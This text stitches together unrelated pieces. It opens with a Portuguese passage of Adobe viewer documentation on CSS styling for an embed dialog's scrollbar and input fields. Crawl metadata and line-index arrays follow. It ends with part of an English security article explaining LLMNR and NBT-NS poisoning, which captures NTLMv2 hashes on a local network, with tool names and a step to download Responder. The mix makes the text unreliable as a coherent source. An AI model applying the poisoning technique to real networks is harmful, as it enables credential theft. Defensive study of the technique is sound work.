background-image: url("images/sdk/cboxchecked.png");
height: 25px;
width: 25px;
}
Quando a opção "Tamanho personalizado" é selecionada na caixa de combinação de tamanho incorporado, a caixa de diálogo exibe dois campos de entrada extras à direita para permitir que o usuário insira um tamanho de incorporação personalizado. Esses campos são vinculados em um contêiner controlado pelo seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogcustomsizepanel
Propriedades CSS do painel de tamanho personalizado da caixa de diálogo
left
Distância da caixa de combinação de tamanho incorporado.
Exemplo - para definir o painel de campos de entrada de tamanho personalizado como 20 pixels à direita da caixa de combinação:
.s7smartcropvideoviewer .s7embeddialog .s7dialogcustomsizepanel {
left: 20px;
}
Cada campo de entrada de tamanho personalizado é colocado em um contêiner que renderiza uma borda e define a margem entre os campos. É controlado com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogcustomsize
Propriedades CSS do tamanho personalizado da caixa de diálogo
border
Borda em torno do campo de entrada.
largura
Largura do campo de entrada.
margem
Margem do campo de entrada.
preenchimento
Preenchimento do campo de entrada.
Exemplo - para definir os campos de entrada de tamanho personalizado para terem uma borda cinza, margem, preenchimento de um pixel e 70 pixels de largura:
.s7smartcropvideoviewer .s7embeddialog .s7dialogcustomsize {
border: 1px solid #CCCCCC;
margin-right: 20px;
padding-left: 2px;
padding-right: 2px;
width: 70px;
}
Se a rolagem vertical for necessária, a barra de rolagem será renderizada no painel próximo à borda direita da caixa de diálogo, que é controlada com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7dialogscrollpanel
Propriedades CSS do painel de rolagem da caixa de diálogo
largura
Largura do painel de rolagem.
Exemplo - para configurar um painel de rolagem com largura de 44 pixels
.s7smartcropvideoviewer .s7embeddialog .s7dialogscrollpanel {
width: 44px;
}
A aparência da área da barra de rolagem é controlada com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar
Propriedades de CSS da barra de rolagem
largura
Largura da barra de rolagem.
top
O deslocamento vertical da barra de rolagem na parte superior do painel de rolagem.
bottom
O deslocamento vertical da barra de rolagem na parte inferior do painel de rolagem.
right
O deslocamento da barra de rolagem horizontal a partir da borda direita do painel de rolagem.
Exemplo - para configurar uma barra de rolagem com 28 pixels de largura e uma margem de oito pixels da parte superior, direita e inferior do painel de rolagem:
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar {
bottom: 8px;
right: 8px;
top: 8px;
width: 28px;
}
O rastreamento da barra de rolagem é a área entre os botões de rolagem superior e inferior. O componente define automaticamente a posição e a altura da faixa. A faixa é controlada com o seguinte seletor de classe CSS
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrolltrack
Propriedades CSS do rastreamento da barra de rolagem
largura
Largura da faixa.
cor do fundo
Rastrear a cor do plano de fundo.
Exemplo - para configurar um rastreamento de barra de rolagem com 28 pixels de largura e um plano de fundo cinza:
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrolltrack {
width:28px;
background-color: #B2B2B2;
}
O polegar da barra de rolagem se move verticalmente em uma área de trilha de rolagem. Sua posição vertical é totalmente controlada pela lógica do componente. No entanto, a altura do polegar não muda dinamicamente, dependendo da quantidade de conteúdo. A altura do polegar e outros aspectos podem ser configurados com o seguinte seletor de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollthumb
Propriedades de CSS da barra de rolagem
largura
Largura do polegar.
altura
Altura do polegar.
parte superior do preenchimento
O preenchimento vertical entre a parte superior da faixa.
parte inferior do preenchimento
O preenchimento vertical entre a parte inferior da faixa.
imagem de fundo
A imagem exibida para um determinado estado de polegar.
OBSERVAÇÃO
O polegar suporta o state seletor de atributos, que pode ser usado para aplicar diferentes capas a diferentes estados de polegar: up, down, overe disabled.
Exemplo - para configurar um polegar da barra de rolagem que seja 28 x 45 pixels, tenha uma margem de dez pixels na parte superior e inferior e tenha uma arte-final diferente para cada estado:
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollthumb {
height: 45px;
padding-bottom: 10px;
padding-top: 10px;
width: 28px;
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollthumb[state="up"] {
background-image:url("images/sdk/scrollbar_thumb_up.png");
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollthumb[state="down"] {
background-image:url("images/sdk/scrollbar_thumb_down.png");
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollthumb[state="over"] {
background-image:url("images/sdk/scrollbar_thumb_over.png");
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollthumb[state="disabled"] {
background-image:url("images/sdk/scrollbar_thumb_disabled.png");
}
A aparência dos botões de rolagem superior e inferior é controlada pelos seguintes seletores de classe CSS:
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollupbutton
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrolldownbutton
Não é possível posicionar botões de rolagem usando propriedades CSS superior, esquerda, inferior e direita. Em vez disso, a lógica do visualizador os posiciona automaticamente.
Propriedades CSS dos botões de rolagem superior e inferior
largura
Largura do botão.
altura
Altura do botão.
imagem de fundo
A imagem exibida para um determinado estado de botão.
posição de fundo
Posição dentro da estrutura de arte, se os sprites CSS forem usados.
Consulte Sprites CSS .
OBSERVAÇÃO
Esses botões suportam o state seletor de atributos, que pode ser usado para aplicar diferentes capas a diferentes estados de botão: up, down, overe disabled.
As dicas de ferramentas do botão podem ser localizadas. Consulte Localização dos elementos da interface do usuário para obter mais informações.
Exemplo - para configurar botões de rolagem que são 28 x 32 pixels e têm arte-final diferente para cada estado:
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollupbutton {
width:28px;
height:32px;
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollupbutton[state='up'] {
background-image:url(images/sdk/scroll_up_up.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollupbutton[state='over'] {
background-image:url(images/sdk/scroll_up_over.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollupbutton[state='down'] {
background-image:url(images/sdk/scroll_up_down.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrollupbutton[state='disabled'] {
background-image:url(images/sdk/scroll_up_disabled.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrolldownbutton {
width:28px;
height:32px;
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrolldownbutton[state='up'] {
background-image:url(images/sdk/scroll_down_up.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrolldownbutton[state='over'] {
background-image:url(images/sdk/scroll_down_over.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrolldownbutton[state='down'] {
background-image:url(images/sdk/scroll_down_down.png);
}
.s7smartcropvideoviewer .s7embeddialog .s7scrollbar .s7scrolldownbutton[state='disabled'] {
background-image:url(images/sdk/scroll_down_disabled.png);
}
Nesta página | {
"url": "https://experienceleague.adobe.com/docs/dynamic-media-developer-resources/library/viewers-for-aem-assets-only/smartcropvideo/customizing-smartcropvideo/r-html5-aem-smartcropvideo-customize-embedshare.html?lang=pt-BR",
"source_domain": "experienceleague.adobe.com",
"snapshot_id": "crawl=CC-MAIN-2022-49",
"warc_metadata": {
"Content-Length": "346652",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:7FPPU3GUMA7OOME4MHMFHI6XJJRSZV4O",
"WARC-Concurrent-To": "<urn:uuid:2fb71393-41c8-4e08-95cc-54a2549d66c4>",
"WARC-Date": "2022-11-26T13:10:20Z",
"WARC-IP-Address": "52.167.10.121",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:XNC7HM6IYLY23OBFZ4RRXWRWGJWXRIGS",
"WARC-Record-ID": "<urn:uuid:ec808a9a-b7d9-46bb-8f0e-1fb51e2915e9>",
"WARC-Target-URI": "https://experienceleague.adobe.com/docs/dynamic-media-developer-resources/library/viewers-for-aem-assets-only/smartcropvideo/customizing-smartcropvideo/r-html5-aem-smartcropvideo-customize-embedshare.html?lang=pt-BR",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3ad58b11-74c1-49e1-984a-e0be8917c560>"
},
"warc_info": "isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-13\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
29,
30,
299,
300,
403,
404,
442,
443,
506,
507,
513,
514,
532,
533,
540,
541,
558,
559,
575,
576,
630,
631,
648,
649,
718,
719,
742,
743,
754,
755,
882,
883,
1005,
1006,
1145,
1146,
1311,
1312,
1352,
1365,
1379,
1381,
1433,
1489,
1491,
1545,
1603,
1605,
1659,
1717,
1719,
1777,
1839,
1841,
1842,
1990,
1991,
2045,
2046,
2096,
2097,
2107,
2108,
2152,
2153,
2166,
2167,
2206,
2207,
2307,
2308,
2364,
2378,
2405,
2407,
2408,
2741,
2742,
2791,
2792,
2829,
2830,
2844,
2845,
2933,
2934,
2947,
2948,
2982,
2983,
2991,
2992,
3152,
3153,
3160,
3161,
3321,
3322,
3461,
3462,
3527,
3540,
3554,
3581,
3583,
3584,
3718,
3719,
3774,
3775,
3825,
3826,
3840,
3841,
3893,
3894,
3974,
3975,
4044,
4045,
4082,
4083,
4097,
4098,
4157,
4158,
4226,
4227,
4286,
4287,
4346,
4347,
4355,
4356,
4374,
4375,
4382,
4383,
4400,
4401,
4417,
4418,
4435,
4436,
4453,
4454,
4523,
4524,
4547,
4548,
4621,
4622,
4681,
4682,
4741,
4742,
4754,
4755,
4775,
4776,
4793,
4794,
4811,
4812,
4830,
4831,
4850,
4851,
4865,
4866,
4898,
4899,
4965,
4966,
5020,
5021,
5056,
5057,
5061,
5062,
5126,
5127,
5133,
5134,
5200,
5201,
5209,
5210,
5228,
5229,
5236,
5237,
5254,
5255,
5269,
5270,
5302,
5303,
5319,
5320,
5354,
5355,
5372,
5373,
5442,
5443,
5466,
5467,
5478,
5479,
5606,
5607,
5786,
5787,
6078,
6079,
6136,
6152,
6154,
6225,
6250,
6252,
6313,
6371,
6389,
6406,
6408,
6469,
6490,
6513,
6537,
6539,
6595,
6605,
6617,
6631,
6644,
6658,
6660,
6728,
6776,
6778,
6848,
6898,
6900,
6970,
7020,
7022,
7096,
7150,
7152,
7153,
7285,
7286,
7341,
7342,
7391,
7392,
7399,
7400,
7492,
7493,
7598,
7599,
7663,
7664,
7723,
7724,
7738,
7739,
7787,
7788,
7863,
7864,
7925,
7926,
7977,
7978,
8020,
8021,
8029,
8030,
8048,
8049,
8056,
8057,
8074,
8075,
8081,
8082,
8122,
8123,
8136,
8137,
8177,
8178,
8189,
8190,
8332,
8333,
8401,
8402,
8463,
8464,
8519,
8520,
8528,
8529,
8547,
8548,
8555,
8556,
8573,
8574,
8580,
8581,
8621,
8622,
8635,
8636,
8676,
8677,
8688,
8689,
8833,
8834,
8988,
8989,
9054,
9055,
9081,
9082,
9094,
9095,
9124,
9125,
9142,
9143,
9170,
9171,
9189,
9190,
9218,
9219,
9235,
9236,
9299,
9300,
9316,
9317,
9325,
9326,
9341,
9342,
9367,
9368,
9512,
9513,
9682,
9683,
9740,
9775,
9777,
9843,
9868,
9891,
9893,
9960,
9997,
10017,
10037,
10060,
10083,
10107,
10109,
10172,
10185,
10199,
10201,
10276,
10303,
10319,
10321,
10398,
10425,
10441,
10443,
10520,
10547,
10563,
10565,
10646,
10673,
10689,
10691,
10754,
10767,
10781,
10783,
10858,
10885,
10901,
10903,
10980,
11007,
11023,
11025,
11102,
11129,
11145,
11147,
11228,
11255,
11271,
11273,
11274,
11585,
11586,
11643,
11644,
11707,
11708,
11715,
11716,
11951,
11952,
11965,
11966,
12020,
12021,
12028,
12029,
12045,
12046,
12205,
12206,
12265,
12292,
12306,
12321,
12323,
12324,
12427,
12428,
12481,
12482,
12634,
12635,
12683,
12684,
12698,
12699,
12722,
12723,
12814,
12815,
12870,
12889,
12891,
12892,
12973,
12974,
13028,
13029,
13196,
13197,
13247,
13248,
13260,
13261,
13291,
13292,
13309,
13310,
13338,
13339,
13357,
13358,
13385,
13386,
13392,
13393,
13417,
13418,
13585,
13586,
13685,
13686,
13742,
13762,
13782,
13805,
13807,
13808,
13935,
13936,
13994,
13995,
14052,
14053,
14061,
14062,
14091,
14092,
14106,
14107,
14130,
14131,
14254,
14255,
14315,
14341,
14359,
14361,
14362,
14464,
14465,
14528,
14529,
14590,
14591,
14599,
14600,
14646,
14647,
14654,
14655,
14706,
14707,
14721,
14722,
14745,
14746,
14911,
14912,
14977,
15008,
15027,
15045,
15047,
15048,
15134,
15135,
15198,
15199,
15260,
15261,
15279,
15280,
15320,
15321,
15421,
15422,
15480,
15507,
15509,
15510,
15681,
15682,
15745,
15746,
15820,
15821,
15835,
15836,
15859,
15860,
15957,
15958,
16023,
16042,
16044,
16045,
16158,
16159,
16222,
16223,
16297,
16298,
16319,
16320,
16352,
16353,
16361,
16362,
16381,
16382,
16487,
16488,
16553,
16578,
16595,
16597,
16598,
16704,
16705,
16756,
16757,
16797,
16798,
16806,
16807,
16839,
16840,
16851,
16852,
17297,
17298,
17484,
17485,
17555,
17573,
17575,
17646,
17664,
17666,
17667,
17804,
17805,
17872,
17873,
17922,
17923,
17930,
17931,
17971,
17972,
18079,
18080,
18149,
18167,
18169,
18170,
18279,
18280,
18349,
18350,
18399,
18400,
18404,
18405,
18462,
18463,
18469,
18470,
18529,
18530,
18538,
18539,
18557,
18558,
18565,
18566,
18583,
18584,
18600,
18601,
18635,
18636,
18653,
18654,
18723,
18724,
18747,
18748,
18875,
18876,
18983,
18984,
19055,
19068,
19082,
19084,
19167,
19219,
19221,
19306,
19360,
19362,
19447,
19501,
19503,
19592,
19644,
19646,
19647,
19790,
19791,
19850,
19851,
19958,
19959,
20008,
20009,
20016,
20017,
20034,
20035,
20128,
20129,
20190,
20221,
20223,
20224,
20309,
20310,
20371,
20372,
20416,
20417,
20430,
20431,
20455,
20456,
20554,
20555,
20618,
20649,
20651,
20652,
20807,
20808,
20860,
20861,
20898,
20899,
20907,
20908,
20926,
20927,
20934,
20935,
20952,
20953,
20969,
20970,
20986,
20987,
21004,
21005,
21074,
21075,
21098,
21099,
21171,
21172,
21226,
21283,
21301,
21318,
21320,
21321,
21655,
21656,
21720,
21721,
21793,
21794,
21799,
21800,
21857,
21858,
21985,
21986,
22052,
22068,
22070,
22071,
22255,
22256,
22315,
22316,
22378,
22379,
22386,
22387,
22423,
22424,
22432,
22433,
22462,
22463,
22470,
22471,
22499,
22500,
22514,
22515,
22550,
22551,
22706,
22707,
22768,
22799,
22823,
22846,
22870,
22887,
22889,
22890,
23074,
23075,
23135,
23136,
23194,
23195,
23203,
23204,
23234,
23235,
23307,
23308,
23370,
23387,
23389,
23390,
23481,
23482,
23534,
23535,
23575,
23576,
23584,
23585,
23614,
23615,
23619,
23620,
23704,
23705,
23712,
23713,
23797,
23798,
23804,
23805,
23899,
23900,
24060,
24061,
24115,
24132,
24148,
24162,
24179,
24181,
24182,
24399,
24400,
24467,
24468,
24521,
24522,
24530,
24531,
24549,
24550,
24563,
24564,
24598,
24599,
24713,
24714,
24783,
24795,
24822,
24824,
24825,
25176,
25177,
25244,
25245,
25285,
25286,
25294,
25295,
25315,
25316,
25323,
25324,
25343,
25344,
25376,
25377,
25435,
25436,
25468,
25469,
25527,
25528,
25544,
25545,
25601,
25602,
25613,
25614,
25770,
25771,
25964,
25965,
26034,
26052,
26078,
26101,
26118,
26120,
26201,
26261,
26263,
26346,
26408,
26410,
26493,
26555,
26557,
26644,
26710,
26712,
26713,
26821,
26822,
26892,
26964,
26965,
27142,
27143,
27202,
27203,
27211,
27212,
27230,
27231,
27238,
27239,
27256,
27257,
27273,
27274,
27328,
27329,
27346,
27347,
27416,
27417,
27440,
27441,
27452,
27453,
27611,
27612,
27756,
27757,
27869,
27870,
27942,
27955,
27969,
27971,
28055,
28106,
28108,
28194,
28248,
28250,
28336,
28390,
28392,
28482,
28540,
28542,
28616,
28629,
28643,
28645,
28731,
28785,
28787,
28875,
28931,
28933,
29021,
29077,
29079,
29171,
29231,
29233,
29234
],
"line_end_idx": [
29,
30,
299,
300,
403,
404,
442,
443,
506,
507,
513,
514,
532,
533,
540,
541,
558,
559,
575,
576,
630,
631,
648,
649,
718,
719,
742,
743,
754,
755,
882,
883,
1005,
1006,
1145,
1146,
1311,
1312,
1352,
1365,
1379,
1381,
1433,
1489,
1491,
1545,
1603,
1605,
1659,
1717,
1719,
1777,
1839,
1841,
1842,
1990,
1991,
2045,
2046,
2096,
2097,
2107,
2108,
2152,
2153,
2166,
2167,
2206,
2207,
2307,
2308,
2364,
2378,
2405,
2407,
2408,
2741,
2742,
2791,
2792,
2829,
2830,
2844,
2845,
2933,
2934,
2947,
2948,
2982,
2983,
2991,
2992,
3152,
3153,
3160,
3161,
3321,
3322,
3461,
3462,
3527,
3540,
3554,
3581,
3583,
3584,
3718,
3719,
3774,
3775,
3825,
3826,
3840,
3841,
3893,
3894,
3974,
3975,
4044,
4045,
4082,
4083,
4097,
4098,
4157,
4158,
4226,
4227,
4286,
4287,
4346,
4347,
4355,
4356,
4374,
4375,
4382,
4383,
4400,
4401,
4417,
4418,
4435,
4436,
4453,
4454,
4523,
4524,
4547,
4548,
4621,
4622,
4681,
4682,
4741,
4742,
4754,
4755,
4775,
4776,
4793,
4794,
4811,
4812,
4830,
4831,
4850,
4851,
4865,
4866,
4898,
4899,
4965,
4966,
5020,
5021,
5056,
5057,
5061,
5062,
5126,
5127,
5133,
5134,
5200,
5201,
5209,
5210,
5228,
5229,
5236,
5237,
5254,
5255,
5269,
5270,
5302,
5303,
5319,
5320,
5354,
5355,
5372,
5373,
5442,
5443,
5466,
5467,
5478,
5479,
5606,
5607,
5786,
5787,
6078,
6079,
6136,
6152,
6154,
6225,
6250,
6252,
6313,
6371,
6389,
6406,
6408,
6469,
6490,
6513,
6537,
6539,
6595,
6605,
6617,
6631,
6644,
6658,
6660,
6728,
6776,
6778,
6848,
6898,
6900,
6970,
7020,
7022,
7096,
7150,
7152,
7153,
7285,
7286,
7341,
7342,
7391,
7392,
7399,
7400,
7492,
7493,
7598,
7599,
7663,
7664,
7723,
7724,
7738,
7739,
7787,
7788,
7863,
7864,
7925,
7926,
7977,
7978,
8020,
8021,
8029,
8030,
8048,
8049,
8056,
8057,
8074,
8075,
8081,
8082,
8122,
8123,
8136,
8137,
8177,
8178,
8189,
8190,
8332,
8333,
8401,
8402,
8463,
8464,
8519,
8520,
8528,
8529,
8547,
8548,
8555,
8556,
8573,
8574,
8580,
8581,
8621,
8622,
8635,
8636,
8676,
8677,
8688,
8689,
8833,
8834,
8988,
8989,
9054,
9055,
9081,
9082,
9094,
9095,
9124,
9125,
9142,
9143,
9170,
9171,
9189,
9190,
9218,
9219,
9235,
9236,
9299,
9300,
9316,
9317,
9325,
9326,
9341,
9342,
9367,
9368,
9512,
9513,
9682,
9683,
9740,
9775,
9777,
9843,
9868,
9891,
9893,
9960,
9997,
10017,
10037,
10060,
10083,
10107,
10109,
10172,
10185,
10199,
10201,
10276,
10303,
10319,
10321,
10398,
10425,
10441,
10443,
10520,
10547,
10563,
10565,
10646,
10673,
10689,
10691,
10754,
10767,
10781,
10783,
10858,
10885,
10901,
10903,
10980,
11007,
11023,
11025,
11102,
11129,
11145,
11147,
11228,
11255,
11271,
11273,
11274,
11585,
11586,
11643,
11644,
11707,
11708,
11715,
11716,
11951,
11952,
11965,
11966,
12020,
12021,
12028,
12029,
12045,
12046,
12205,
12206,
12265,
12292,
12306,
12321,
12323,
12324,
12427,
12428,
12481,
12482,
12634,
12635,
12683,
12684,
12698,
12699,
12722,
12723,
12814,
12815,
12870,
12889,
12891,
12892,
12973,
12974,
13028,
13029,
13196,
13197,
13247,
13248,
13260,
13261,
13291,
13292,
13309,
13310,
13338,
13339,
13357,
13358,
13385,
13386,
13392,
13393,
13417,
13418,
13585,
13586,
13685,
13686,
13742,
13762,
13782,
13805,
13807,
13808,
13935,
13936,
13994,
13995,
14052,
14053,
14061,
14062,
14091,
14092,
14106,
14107,
14130,
14131,
14254,
14255,
14315,
14341,
14359,
14361,
14362,
14464,
14465,
14528,
14529,
14590,
14591,
14599,
14600,
14646,
14647,
14654,
14655,
14706,
14707,
14721,
14722,
14745,
14746,
14911,
14912,
14977,
15008,
15027,
15045,
15047,
15048,
15134,
15135,
15198,
15199,
15260,
15261,
15279,
15280,
15320,
15321,
15421,
15422,
15480,
15507,
15509,
15510,
15681,
15682,
15745,
15746,
15820,
15821,
15835,
15836,
15859,
15860,
15957,
15958,
16023,
16042,
16044,
16045,
16158,
16159,
16222,
16223,
16297,
16298,
16319,
16320,
16352,
16353,
16361,
16362,
16381,
16382,
16487,
16488,
16553,
16578,
16595,
16597,
16598,
16704,
16705,
16756,
16757,
16797,
16798,
16806,
16807,
16839,
16840,
16851,
16852,
17297,
17298,
17484,
17485,
17555,
17573,
17575,
17646,
17664,
17666,
17667,
17804,
17805,
17872,
17873,
17922,
17923,
17930,
17931,
17971,
17972,
18079,
18080,
18149,
18167,
18169,
18170,
18279,
18280,
18349,
18350,
18399,
18400,
18404,
18405,
18462,
18463,
18469,
18470,
18529,
18530,
18538,
18539,
18557,
18558,
18565,
18566,
18583,
18584,
18600,
18601,
18635,
18636,
18653,
18654,
18723,
18724,
18747,
18748,
18875,
18876,
18983,
18984,
19055,
19068,
19082,
19084,
19167,
19219,
19221,
19306,
19360,
19362,
19447,
19501,
19503,
19592,
19644,
19646,
19647,
19790,
19791,
19850,
19851,
19958,
19959,
20008,
20009,
20016,
20017,
20034,
20035,
20128,
20129,
20190,
20221,
20223,
20224,
20309,
20310,
20371,
20372,
20416,
20417,
20430,
20431,
20455,
20456,
20554,
20555,
20618,
20649,
20651,
20652,
20807,
20808,
20860,
20861,
20898,
20899,
20907,
20908,
20926,
20927,
20934,
20935,
20952,
20953,
20969,
20970,
20986,
20987,
21004,
21005,
21074,
21075,
21098,
21099,
21171,
21172,
21226,
21283,
21301,
21318,
21320,
21321,
21655,
21656,
21720,
21721,
21793,
21794,
21799,
21800,
21857,
21858,
21985,
21986,
22052,
22068,
22070,
22071,
22255,
22256,
22315,
22316,
22378,
22379,
22386,
22387,
22423,
22424,
22432,
22433,
22462,
22463,
22470,
22471,
22499,
22500,
22514,
22515,
22550,
22551,
22706,
22707,
22768,
22799,
22823,
22846,
22870,
22887,
22889,
22890,
23074,
23075,
23135,
23136,
23194,
23195,
23203,
23204,
23234,
23235,
23307,
23308,
23370,
23387,
23389,
23390,
23481,
23482,
23534,
23535,
23575,
23576,
23584,
23585,
23614,
23615,
23619,
23620,
23704,
23705,
23712,
23713,
23797,
23798,
23804,
23805,
23899,
23900,
24060,
24061,
24115,
24132,
24148,
24162,
24179,
24181,
24182,
24399,
24400,
24467,
24468,
24521,
24522,
24530,
24531,
24549,
24550,
24563,
24564,
24598,
24599,
24713,
24714,
24783,
24795,
24822,
24824,
24825,
25176,
25177,
25244,
25245,
25285,
25286,
25294,
25295,
25315,
25316,
25323,
25324,
25343,
25344,
25376,
25377,
25435,
25436,
25468,
25469,
25527,
25528,
25544,
25545,
25601,
25602,
25613,
25614,
25770,
25771,
25964,
25965,
26034,
26052,
26078,
26101,
26118,
26120,
26201,
26261,
26263,
26346,
26408,
26410,
26493,
26555,
26557,
26644,
26710,
26712,
26713,
26821,
26822,
26892,
26964,
26965,
27142,
27143,
27202,
27203,
27211,
27212,
27230,
27231,
27238,
27239,
27256,
27257,
27273,
27274,
27328,
27329,
27346,
27347,
27416,
27417,
27440,
27441,
27452,
27453,
27611,
27612,
27756,
27757,
27869,
27870,
27942,
27955,
27969,
27971,
28055,
28106,
28108,
28194,
28248,
28250,
28336,
28390,
28392,
28482,
28540,
28542,
28616,
28629,
28643,
28645,
28731,
28785,
28787,
28875,
28931,
28933,
29021,
29077,
29079,
29171,
29231,
29233,
29234,
29246
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 29246,
"ccnet_original_nlines": 987,
"rps_doc_curly_bracket": 0.004650210030376911,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.07927650958299637,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.029247639700770378,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.27034828066825867,
"rps_doc_frac_unique_words": 0.15397490561008453,
"rps_doc_mean_word_length": 6.6647138595581055,
"rps_doc_num_sentences": 513,
"rps_doc_symbol_to_word_ratio": 0.005387720186263323,
"rps_doc_unigram_entropy": 5.090502738952637,
"rps_doc_word_count": 3585,
"rps_doc_frac_chars_dupe_10grams": 0.2274724841117859,
"rps_doc_frac_chars_dupe_5grams": 0.43937554955482483,
"rps_doc_frac_chars_dupe_6grams": 0.3528229892253876,
"rps_doc_frac_chars_dupe_7grams": 0.2966140806674957,
"rps_doc_frac_chars_dupe_8grams": 0.25639310479164124,
"rps_doc_frac_chars_dupe_9grams": 0.23801949620246887,
"rps_doc_frac_chars_top_2gram": 0.1406269669532776,
"rps_doc_frac_chars_top_3gram": 0.019587330520153046,
"rps_doc_frac_chars_top_4gram": 0.024902690201997757,
"rps_doc_books_importance": -1951.992919921875,
"rps_doc_books_importance_length_correction": -1951.992919921875,
"rps_doc_openwebtext_importance": -1121.3768310546875,
"rps_doc_openwebtext_importance_length_correction": -1121.3768310546875,
"rps_doc_wikipedia_importance": -894.0619506835938,
"rps_doc_wikipedia_importance_length_correction": -894.0619506835938
},
"fasttext": {
"dclm": 0.9879569411277771,
"english": 0.01536731980741024,
"fineweb_edu_approx": 1.8492696285247803,
"eai_general_math": 0.0003143500071018934,
"eai_open_web_math": 0.2751418352127075,
"eai_web_code": 0.3280969262123108
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "006.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Cognitive science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-4,768,806,737,306,620,000 | Local Network Attacks: LLMNR and NBT-NS Poisoning
• Written by Jon Sternstein
• Published in Research
• Read 98552 times
Background
How can an attacker capture usernames and passwords on a local network by simply waiting for the computers to willingly give them up? LLMNR and NBT-NS poisoning!
Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of Microsoft Windows machines. LLLMNR was introduced in Windows Vista and is the successor to NBT-NS.
They are both seemingly innocuous components which allow machines on the same subnet help each other identify hosts when DNS fails. So if one machine tries to resolve a particular host, but DNS resolution fails, the machine will then attempt to ask all other machines on the local network for the correct address via LLMNR or NBT-NS.
This seems harmless in theory, but it opens up a major vulnerability that attackers can use to gain full credentials to a system.
Vulnerability
An attacker can listen on a network for these LLMNR (UDP/5355) or NBT-NS (UDP/137) broadcasts and respond to them, thus pretending that the attacker knows the location of the requested host.
Let’s look at an example in the diagram below.
1. The victim machine wants to go the print server at \\printserver, but mistakenly types in \\pintserver.
2. The DNS server responds to the victim saying that it doesn’t know that host.
3. The victim then asks if there is anyone on the local network that knows the location of \\pintserver
4. The attacker responds to the victim saying that it is the \\pintserver
5. The victim believes the attacker and sends its own username and NTLMv2 hash to the attacker.
6. The attacker can now crack the hash to discover the password
LLMNR NBT-NS Poisoning diagram
Attack Tools
There are several tools that will allow you to act out the attack scenario detailed above. One of the originals is NBNSpoof by Wesley McGrew (http://www.mcgrewsecurity.com/tools/nbnspoof/). McGrew explains his website how to create a tool to carry out such attack. Metasploit has a LLMNR Spoofer module auxiliary/spoof/llmnr/llmnr_response (http://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response). The tool we will use today is “Responder” from SpiderLabs (https://github.com/SpiderLabs/Responder.git).
1. Download the Responder software: git clone https://github.com/SpiderLabs/Responder.git
